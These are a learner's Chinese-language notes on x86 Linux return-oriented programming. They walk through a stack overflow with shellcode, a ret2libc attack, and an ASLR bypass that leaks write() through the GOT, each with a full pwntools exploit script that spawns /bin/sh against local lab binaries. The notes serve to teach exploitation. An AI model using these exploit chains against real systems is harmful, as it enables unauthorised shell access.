一步一步学ROP之linux x86 学习笔记
Control Flow Hijacking
ROP 全称 Return-oriented Programming
gcc –fno-stack-protector –z execstack –m32 –o level1 level1.c #关闭DEP和Stack Protector
su -s
echo 0 > /proc/sys/kernel/randomize_va_space #关闭ASLR
这个东西很好 pattern.py
./pattern.py create 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
python pattern.py offset xxxx
构造一个A*140+ret的字符串,然后让pc执行ret地址上的代码
生成shellcode
控制pc跳转到shellcode的地址上,那么有一个问题,gdb调试环境会影响buf在内存中的位置
开启core dump功能:
ulimit –c unlimited
sudo sh –c 'echo “/tmp/core.%t” > /proc/sys/kernel/core_pattern’
开启之后,当出现内存错误的时候,系统会生成一个core dump在tmp目录下。
溢出点位140个字节,再加上4个字节的rer地址,所以buffer地址为$esp – 144
然后gdb level /tmp/core.????
Core was generated by `./level1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x41414141 in ?? ()
然后输入x/10s $eip –144
构造脚本
#!/usr/bin/env python
from pwn import *p = process('./level1')
#p = remote('127.0.0.1',10001)
ret = 0xffffd090# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload)
p.interactive()
Ret2libc 通过ret2lib绕过DEP 保护
我们如果使用level1的exp来进行测试的话,系统会拒绝执行我们的shellcode。如果你通过sudo cat /proc/[pid]/maps查看,你会发现level1的stack是rwx的,但是level2的stack却是rw的。
level1: bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
level2: bffdf000-c0000000 rwxp 00000000 00:00 0 [stack]
那么如何执行shellcode呢?我们知道level2调用了libc.so,并且libc.so里保存了大量可利用的函数,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。既然思路有了,那么接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址。
如果关掉了ASLR的话,system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,并且这个字符串的地址也是固定的。那么接下来我们就来找一下这个函数的地址。这时候我们可以使用gdb进行调试。然后通过print和find命令来查找system和”/bin/sh”字符串的地址。
#总结一下 意思就是从libc.so中得到system函数以及/bin/sh字符串(ASLR 没开)
$gdb ./level2
…
(gdb)break main
(gdb) run
(gdb) print system (这么好用的吗)
$1 = {<text variable, no debug info>} 0xf7e52e70 <system>
(gdb) print __libc_start_main
$2 = {<text variable, no debug info>} 0xf7e2c9e0 <__libc_start_main>
(gdb) find 0xf7e2c9e0 ,+2200000,”/bin/sh” (从__libc_start_main的地方开始往下找)
很遗憾,我没有搜索到
贴一下脚本好了,学习一下姿势
#!/usr/bin/env python
from pwn import *p = process('./level2')
#p = remote('127.0.0.1',10002)ret = 0xdeadbeef
systemaddr=0xb7e5f460
binshaddr=0xb7f81ff8payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)
p.send(payload)
p.interactive()
ROP -Bypass DEP and ASLR 通过ROP绕过DEP和ASLR防护
开了ASLR保护之后,cat /proc/pid/maps,每次的地址都是不一样的
根据之前学的,这个和got劫持有点相似。
objdump –d –M intel ./level3 >level3.txt 看调用函数 (IDA 也可以做到)
一个好的知识:
我们发现除了程序本身的实现的函数之外,我们还可以使用read@plt()和write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 - 链接、装载与库》这本书)
因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。实际地址 = libc_base + offset
贴个脚本
#!/usr/bin/env python
from pwn import *libc = ELF('libc.so')
elf = ELF('level2')#p = process('./level2')
p = remote('127.0.0.1', 10003)plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404
print 'vulfun= ' + hex(vulfun_addr)payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
print "\n###sending payload1 ...###"
p.send(payload1)print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
print "\n###sending payload2 ...###"
p.send(payload2)p.interactive()